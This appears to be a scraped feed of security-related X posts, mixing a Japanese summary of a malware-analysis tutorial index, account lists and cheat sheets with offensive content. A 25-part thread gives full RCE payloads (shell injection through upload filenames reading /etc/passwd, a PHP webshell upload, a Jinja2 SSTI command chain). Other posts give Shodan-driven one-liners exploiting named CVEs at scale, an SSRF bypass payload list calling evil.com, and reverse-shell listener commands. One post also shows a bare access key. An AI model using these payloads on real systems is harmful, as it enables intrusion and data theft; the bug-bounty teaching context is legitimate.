cybernaumad

[cybernaumad @cybernaumad]

@c4zyy Can you guide me for the preparation of this course.

[📕「マルウエアの教科書」著者 | 吉川孝志 | 増補改訂版🌟発売中 @MalwareBibleJP]

マルウェア解析チュートリアル81本の一覧が、「Guided-Hacking」の公式サイトで公開されています。パッカーであるVMProtect・ASPack・PECompactのアンパックから、LockBitやMalloxなどのランサムウェア、RedLineなどの情報窃取型マルウェアの解析、メモリ上の不正なコードの検知まで、同サイトのフォーラムにあるマルウェア解析専用セクションの記事と動画を題名で並べた索引。

サイトの説明では、2011年からゲームハッキング（ゲームの改造やチートの作成）とリバースエンジニアリングの教材を提供してきた有料会員制の教育サイトとされ、同セクションの説明には、認定資格を持つマルウェア解析者が作成したチュートリアルと記載されています。

利用条件について、サイトの説明ではチュートリアルなどの教材の閲覧は有��の会員向けで、登録ページの記載では6か月85ドルまたは2年160ドルの一括払いとのこと。一方、アンパックを扱う回などの動画版は登録者19.9万人の公式YouTubeチャンネルで無料で公開されており、サイト自身も無料動画480本と案内しています。

【要点の整理】

・アンパック関連が11本。VMProtect・PECompact・ASPackといった商用パッカーと、FlawedAmmyy・Ramnitなどの実在のマルウェアを題材に、元のプログラムの開始地点（OEP）まで実行を進めてメモリ上の本体をファイルに書き出し（ダンプ）、パッカーによって失われたインポートアドレステーブル（IAT）を再構築する手順を扱う。Pythonで作られたマルウェア（YouHacker）のアンパック、キーロガーVKeyloggerのインポート修復、Excelのアドイン（XLL）に埋め込まれたLockBit本体の抽出も含む

・解析ツールの記事は、逆アセンブラーIDA-Proのプラグイン5種、機��を自動判定するCAPA、2つのバイナリの差分を比較するBinDiff、データ変換のCyberChefとBinary-Refinery、ファイル形式の識別ツール、Sysinternalsの活用、Windows向け解析ツールの紹介を扱う。動的解析ではCAPEv2サンドボックス（検体を隔離環境で実行して挙動を記録する仕組み）と解析用仮想マシンの構築、挙動を記録するProcess-Monitor・Regshot・API-Monitor、記録を図示するProCDOT、通信先を疑似的に用意するFakeNet-NG（BlackNETのC2通信を題材）、通信記録を解析するCapLoaderを取り上げる。メモリ上の改変を検査するPE-sieveと、メモリダンプを模擬実行するDumpulatorの記事もある

・難読化解除と自動化の記事として、IDA-Pro上での難読化の解除、SMTソルバー（論理式の充足可能性を判定するプログラム）を使った難読化解除（pySMT）、Pythonのリバースエンジニアリング用ライブラリMiasmの入門・構文・シンボリック実行・Jitter（JIT実行エンジン）の4本、YARAルール（マルウェアの特徴を記述する検出ルール）の書き方、ChatGPTの解析への利用がある

・検体の解析記事は、情報窃取型（StormKitty・RedLine・WhiteSnake・BlackGuard）、ランサムウェア（LockBit・Mallox・DoNex）、オンラインバンキングを狙うIcedID/BokBot、GootkitとKLBankerの復号処理のPythonによる再現、ローダー（本体を後から読み込む前段のマルウェア）とクリプター（本体を暗号化して検知を逃れる仕組み）としてDCRat・CrashedTech・LimeCrypter、北朝鮮の攻撃グループAPT37が使うRokRAT、暗号資産を狙うParadies Clipper、VirusTotalへの大量送信を行うとされるVFlooder、多段階の感染の前段を担うステージャーの手法、Go言語で書かれたバイナリの解析、スクリプトによるLinuxのファイルレスマルウェアなど。RedLineは3本あり、偽のスポンサー契約でYouTuberを狙った事例と、技術力の低い攻撃者向けに配布されていたクラック版（無断改変版）に埋め込まれていたバックドアも題材にしている

・文書ファイルを経由する手口として、OneNote文書を悪用したAsyncRATの事例、Oletoolsを使ったOfficeファイルの解析、複数のファイル形式として解釈できるポリグロットファイルによるIcedIDの検知回避を扱う

・防御側向けの検知に関する記事として、手動マッピング（Windows標準のローダーを通さずにコードをメモリへ配置する手法）やプロセスハロウイング（正規のプロセスの中身を不正なコードに置き換える手法）、シェルコード（メモリ上で直接実行される小さな機械語コード）をメモリから検出する方法、DLLサイドローディング（正規のプログラムに偽のDLLを読み込ませる手法）やC2サーバー（攻撃者の指令サーバー）の検知、C2の管理画面（パネル）の探し方、永続化（再起動後も動作を維持する仕組み）の手法、通信解析の入門、脅威インテリジェンスの活用、検知手法7種の解説がある。一方で、Windows-Defenderの回避（アクセストークンの操作）やUAC（ユーザーアカウント制御）の回避のように攻撃側の技術解説も含まれる

・入門向けには、解析環境の構築、新しい検体の入手先、解析に役立つWebサイト5種、演習サイトCyberDefendersの練習問題、学習教材のまとめ、書籍「Practical Malware Analysis」の演習解説、技術力の低い攻撃者が作るマルウェアを題材にした解析がある

サイトの主軸はゲームハッキング（チートの作成とアンチチートの解析・開発）で、マルウェア解析はその一部門です。一覧のどの記事に無料の動画版があるかは、一覧には示されていません。

詳細は以下を参照：
https://t.co/vyRWnSZO9n
https://t.co/dHZeyDJF3y
https://t.co/v7P0h1N483

(※可能な範囲でファクトチェックは実施済なものの、元記事の精度依存や速報・要約の性質上漏れもありうるため、正確な情報は一次情報を直接参照のこと)

[cybernaumad @cybernaumad]

Read “What is XSS (Cross-Site Scripting)? A Beginner-Friendly Guide“ by Cybernaumad on Medium: https://t.co/R7BHHjHMNn

[X @TheMsterDoctor1]

From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation

[1/25]

[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal

All exploitable in the wild. Full payloads included.

#RCE #BugBounty #SSTI #InfoSec #CTF

⸻

[2/25]

Let’s start with the most overlooked injection point in web apps:

The file extension.

Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.

⸻

[3/25]

Vulnerable PHP Logic:

$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);

��pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()

⸻

[4/25]

Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.

So we upload a file named:

02.mp3\";id;#

Which becomes:

ffprobe -i "/uploads/abc.mp3\";id;#"

RCE triggered. Output returned.

⸻

[5/25]

Now let’s get serious.

We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.

Let’s bypass using PHP’s chr() function and inline code execution with php -r.

⸻

[6/25]

Payload:

$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");

Inject it:

02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#

Shell-safe, obfuscated, and effective.

⸻

[7/25]

Next up: a classic, but still alive in many environments…

Arbitrary PHP File Upload

Most commonly seen in legacy CMS, admin tools, or DIY panels.

Still being exploited today.

⸻

[8/25]

The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions

Perfect conditions for an attacker.

⸻

[9/25]

HTTP Upload Request:

POST /upload HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg

<?php system("cat /etc/passwd"); ?>
--boundary--

⸻

[10/25]

Response:

HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php

When accessed in the browser:

GET /uploads/images/rce.php

PHP is interpreted. Command executed. Full contents of /etc/passwd returned.

⸻

[11/25]

This vulnerability is devastatingly simple yet common.

It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors

Let’s elevate it further.

⸻

[12/25]

The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”

It’s what happens when template engines execute unsanitized user input as code.

⸻

[13/25]

Context:

A web app allows employees to customize emails using templates.

Under the hood: Jinja2 (Python-based).

Vulnerable field:

Hello {{ https://t.co/Ecmv6ScdPM }}

What if I replace https://t.co/Ecmv6ScdPM with a payload?

⸻

[14/25]

Start with something basic:

{{ 7*7 }}

Output:

Hello 49

You’re now executing code inside the template engine.

Let’s go deeper: spawn a system command.

⸻

[15/25]

Full SSTI Exploit Request:

POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded

[email protected]&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview

[Nitin Gavhane @NitinGavhane_]

Cybersecurity X accounts worth following (Part 2):

1. @SwiftOnSecurity — Windows security
2. @briankrebs — Cybercrime research
3. @troyhunt — Breaches & HIBP
4. @thegrugq — OPSEC & tradecraft
5. @cyb3rops — Detection engineering
6. @mikko — Malware research
7. @_JohnHammond — CTFs & malware
8. @NahamSec — Bug bounty & recon
9. @LiveOverflow — Technical hacking
10. @HackingDave — Red teaming
11. @harmj0y — Active Directory
12. @_wald0 — BloodHound & AD
13. @enigma0x3 — Windows security
14. @gentilkiwi — Mimikatz & Windows
15. @_RastaMouse — Red team tools
16. @SpecterOps — AD security
17. @TrustedSec — Red team research
18. @BishopFox — Offensive security
19. @Horizon3Attack — Exploit research
20. @Synacktiv — Offensive research
21. @TheDFIRReport — Incident reports
22. @sans_isc — Threat intelligence
23. @HuntressLabs — Threat research
24. @13CubedDFIR — DFIR training
25. @EricRZimmerman — DFIR tools
26. @Velocidex — Digital forensics
27. @SigmaHQ — Detection rules
28. @hakluke — Bug bounty tools
29. @codingo_ — Pentesting & recon
30. @EdOverflow — Security research
31. @filedescriptor — Bug hunting
32. @orange_8361 — Exploit research
33. @InsiderPhD — Security education
34. @pentest_swissky — Payloads & pentesting
35. @Hacker0x01 — Bug bounty
36. @bugcrowd — Bug bounty programs
37. @intigriti — Bug bounty programs
38. @GossiTheDog — Vulnerability analysis
39. @malwrhunterteam — Malware hunting
40. @hasherezade — Malware analysis
41. @taviso — Vulnerability research
42. @IntelTechniques — OSINT
43. @CISAgov — Security advisories
44. @MITREattack — ATT&CK framework
45. @BlackHatEvents — Security research & conferences

Save this list. Build your cybersecurity feed with signal, not noise.

#CyberSecurity #BugBounty #EthicalHacking #InfoSec #Pentesting #RedTeam #BlueTeam #DFIR #OSINT #ThreatIntel

[Abhishek @aacle_]

Rebuilt my malicious file upload checklist for 2026

Full checklist + hardening notes 👇
https://t.co/ZDeu8dr7KS

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

Bug bounty flags and tools cheat sheet

https://t.co/juwEQb6WbP

Reconnaissance and OSINT Tools
====================================
nmap -A – Enable OS detection and version detection.
nmap -sC – Run default scripts for enumeration.
nmap -sV – Detect service versions.
nmap --script vuln – Run vulnerability detection scripts.
nmap -Pn – Disable host discovery and scan all targets.
nmap -p- – Scan all 65,535 ports.
nmap --top-ports 100 – Scan top 100 ports.
nmap -oN output.txt – Save output in normal format.
nmap -oX output.xml – Save output in XML format for automation.
nmap -iL targets.txt – Input list of targets to scan.
amass enum -d https://t.co/iWZo1DWI6K – Enumerate subdomains.
amass intel -whois -d https://t.co/iWZo1DWI6K – Perform WHOIS-based reconnaissance.
amass track -d https://t.co/iWZo1DWI6K – Track subdomain changes over time.
amass viz -d https://t.co/iWZo1DWI6K -o output.graphml – Visualize enumeration results.
subfinder -d https://t.co/iWZo1DWI6K – Find subdomains quickly.
subfinder -d https://t.co/iWZo1DWI6K -silent – Silent mode for clean output.
subfinder -d https://t.co/iWZo1DWI6K -o output.txt – Save subdomains to file.
assetfinder --subs-only https://t.co/iWZo1DWI6K – Discover subdomains.
waybackurls https://t.co/iWZo1DWI6K – Fetch URLs from the Wayback Machine.
gau https://t.co/iWZo1DWI6K – Fetch archived URLs from multiple sources.
httpx -silent – Test HTTP/HTTPS services silently.
httpx -status-code – Include HTTP status codes in output.
httpx -title – Display page titles.
httpx -tech-detect – Detect technologies used on target.
dnsx -d https://t.co/iWZo1DWI6K – Perform DNS probing.

Scanning Tools
====================================
masscan -p0-65535 target – Fast scan for all ports.
masscan --rate 1000 -p22,80 target – Set rate limit for scanning.
masscan -iL targets.txt – Read targets from a file.
ffuf -w wordlist.txt -u http://target/FUZZ – Fuzz directories.
ffuf -w wordlist.txt -u http://target/FUZZ -mc 200 – Match HTTP status 200 only.
ffuf -c – Use colors for better readability.
ffuf -H "Authorization: Bearer TOKEN" – Add headers to requests.
ffuf -fs 4242 – Filter results by size.
ffuf -recursion – Enable directory recursion fuzzing.
dirsearch -u http://target – Directory brute-forcing.
dirsearch -e php,html,js – Add extensions to fuzzing.
dirsearch --threads 50 �� Set thread count.
dirsearch -x 404 – Exclude 404 responses.
gobuster dir -u http://target -w wordlist.txt – Fuzz directories.
gobuster dns -d https://t.co/iWZo1DWI6K -w wordlist.txt – Fuzz DNS subdomains.
gobuster -k – Ignore SSL certificate warnings.
gobuster dir -o output.txt – Save results to file.
nikto -host http://target – Scan for vulnerabilities.
nikto -ssl – Force SSL scanning.
nikto -output output.txt – Save scan results.

Exploitation Tools
====================================
sqlmap -u http://target --dbs – Enumerate databases.
sqlmap -u http://target -D dbname --tables – List tables in a database.
sqlmap -u http://target -D dbname -T table --columns – List columns.
sqlmap -u http://target -D dbname -T table -C column --dump – Dump data.
sqlmap --batch – Run in non-interactive mode.
sqlmap --risk 3 --level 5 – Increase testing depth.
hydra -l admin -P passwords.txt target http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid" – Brute-force login.
hydra -t 16 -L users.txt -P passwords.txt ssh://target – SSH brute-forcing.
metasploit (msfconsole) – Launch the Metasploit framework.
searchsploit software – Search for exploits in Exploit-DB.
msfvenom -p payload -f exe > shell.exe – Generate payloads.
xssstrike -u http://target – Scan for XSS vulnerabilities.
wfuzz -w wordlist.txt -u http://target/FUZZ – Fuzzing tool.
wfuzz -z range,1-100 – Use numeric range for fuzzing.
rescope -r scope.txt – Restrict scanning to in-scope domains.

Post-Exploitation Tools
====================================
john --wordlist=passwords.txt hash.txt – Crack hashes with wordlists.
hashcat -m 0 hash.txt passwords.txt – Use GPU for cracking hashes.
hashcat --show -m 0 hash.txt – Display cracked passwords.
sshuttle -r user@host 0/0 – Create a quick VPN-like tunnel.
proxychains tool – Route tools through a proxy.
socat -d -d TCP-LISTEN:4444 STDOUT – Create reverse shells.
netcat -lvnp 4444 – Set up a listener for reverse shells.
curl -I http://target – Fetch HTTP headers.
curl -X POST -d "param=value" http://target – Test POST requests.
curl -H "Authorization: Bearer TOKEN" – Add headers to requests.

Miscellaneous Tricks
====================================
git clone https://t.co/ifwKdmd6PF – Clone a Git repository.
git log -p – Check for sensitive changes in Git history.
git grep 'password' – Search for sensitive keywords in Git repositories.
strings binary – Extract strings from a binary file.
hexdump -C file – View file in hex format.
exiftool file.jpg – Extract metadata from files.
jq '.' file.json – Pretty-print JSON output.
sed 's/old/new/g' file – Replace text in files.
awk '{print $1}' file – Extract specific fields from files.
sort file | uniq -c – Count unique lines.
base64 -d encoded.txt – Decode base64 strings.
openssl s_client -connect host:443 – Test SSL/TLS connections.
openssl enc -d -aes-256-cbc -in encrypted.txt – Decrypt files with OpenSSL.
pspy64 – Monitor processes without root.
strace -p PID – Trace system calls.
lsof -i :80 – List processes using a specific port.
Network and System Tools
tcpdump -i eth0 port 80 – Capture packets on a specific port.
wireshark – Analyze network traffic.
nc -zv host 1-1000 – Scan ports with netcat.
iptables -L – List firewall rules.
traceroute target – Trace network paths.
dig https://t.co/iWZo1DWI6K – Query DNS records.
nslookup https://t.co/iWZo1DWI6K – Resolve domain names.
host https://t.co/iWZo1DWI6K – Fetch DNS records.
arp -a – Display ARP table.
whois https://t.co/iWZo1DWI6K – Fetch domain ownership details.
wget --mirror -p --convert-links -P ./target http://site – Mirror a website.
scp file user@host:/path – Securely copy files.
ssh user@host – SSH into a target machine.
tmux – Use terminal multiplexer for managing multiple sessions.

[X @TheMsterDoctor1]

Happy Hunting !!!!

Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with ♥ by the community.

Contribute and enhance your bounty hunting arsenal!

## Quick Guide

- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.

---

### Local File Inclusion
> @dwisiswant0

```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```

### Open Redirect
> @dwisiswant0

```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```

> @N3T_hunt3r

```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```

### XSS
> @cihanmehmet

```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```

> @fanimalikhack

```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```

> @oliverrickfors

```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```

### Prototype Pollution
> @R0X4R

```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```

### CVE-2020-5902
> @Madrobot_

```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```

### CVE-2020-3452
> @vict0ni

```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```

### CVE-2022-0378
> @7h3h4ckv157

```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```

### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_

```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```

### Find JavaScript Files
> @D0cK3rG33k

whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf

grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow 👇👇👇👇👇👇👇👇👇👇

[Aman Hasan @Aman_Hasan01]

#bugbountytips

Writups - https://t.co/qYQYmtvgyS

[Nicolas Krassas @Dinosn]

CVE-2026-75604 Next.js Windows RCE poc

https://t.co/JVR8sRFUh4

[X @TheMsterDoctor1]

Basic SSRF v1

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22

Basic SSRF — Alternative version

http://localhost:80
http://localhost:443
http://localhost:22

Advanced exploit using a redirection

1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:https://t.co/crNhVGeq2L
2. Launch the SSRF: https://t.co/BVD4SyYuE7
https://t.co/tnQzP1TPbP will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1

Advanced exploit using type=url

Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF

Bypassing filters
Bypass using HTTPS

https://127.0.0.1/
https://localhost/

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squidhttp://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid

Bypass localhost with a domain redirection

https://t.co/N5Z8Nl8Air
https://t.co/0WrWEnEWGJ
https://t.co/rScdlsoMNq
https://t.co/VtpwfSlfA0 redirect to 127.0.0.6 == localhost
https://t.co/2ov4WGDQI9 redirect to 127.0.0.2 == localhost

The service https://t.co/X5j9RVEelx is awesome for that, it will convert any ip address as a dns.

https://t.co/WC0M7rODs3 maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even https://t.co/54M262E4d3 maps to 127.0.0.1

Bypass localhost with CIDR

It’s a /8

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

Bypass using a decimal IP location

http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Bypass using IPv6/IPv4 Address Embedding

IPv6/IPv4 Address Embedding

http://[0:0:0:0:0:ffff:127.0.0.1]

Bypass using malformed urls

localhost:+11211aaa
localhost:00011211aaaa

Bypass using rare address

You can short-hand IP addresses by dropping the zeros

http://0/
http://127.1
http://127.0.1

Bypass using bash variables

(curl only)

curl -v "http://evil$google.com"
$google = ""

Bypass using tricks combination

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

Bypass filter_var() php function

0://evil.com:80;https://t.co/sOlLJy1179

Bypass against a weak parser

by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

SSRF exploitation via URL Scheme
File

Allows an attacker to fetch the content of a file on the server

file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd

HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

The following URL scheme can be used to probe the network
Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

#ssrf #BugBounty #bugbountytip

[7h3h4ckv157 @7h3h4ckv157]

Bug Hunter 📍

AI powered bug bounty hunting: recon to report, in your terminal.

Credit: https://t.co/bzr6dN9nwR

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

🐀 Recon is 8 tools in a trench coat, and you rewire them by hand every single time.

subScraper is the trench coat. One run:

→ Subfinder, Amass, Assetfinder, Findomain, Sublist3r — enumeration
→ httpx probing + screenshots
→ ffuf fuzzing
→ nuclei + nikto scanning
→ live web UI so you watch it work
→ resumable — kill it, re-run, it picks up where it stopped

Readable reports at the end. Add your API keys and the findings jump.

Free. Open source. No email wall.

Straight with you: it does the boring part. It does NOT find the bug for you — that's still your job. And point it at authorized, in-scope targets only.
↓
https://t.co/gpt9ovEdzg

Much love <3 #bugbounty #recon #infosec #appsec

[P.M @p_misirov]

Qwen3.8-27B-Uncensored really has no filter.

https://t.co/UWPoE1axfo

[cybernaumad @cybernaumad]

@labforumz Key

R1l3mVOukXAMOLP_o00IRQ

[TCM Security @TCMSecurity]

Coming soon... a new #CTF. 🕹️

Whether you're visiting us at Noob Village during #DEFCON or participating from home, you'll be able to take on the challenge.

Think you've got what it takes? Register now and start hacking later this week!

🔗 https://t.co/CEdH5ck9ys

[cybernaumad @cybernaumad]

🚨 Phishing Attack Explained
#CyberSecurity #Phishing #InfoSec #EthicalHacking #CyberAwareness #OnlineSafety #ScamAlert #CyberTips #StaySafeOnline #DataProtection #cybernaumad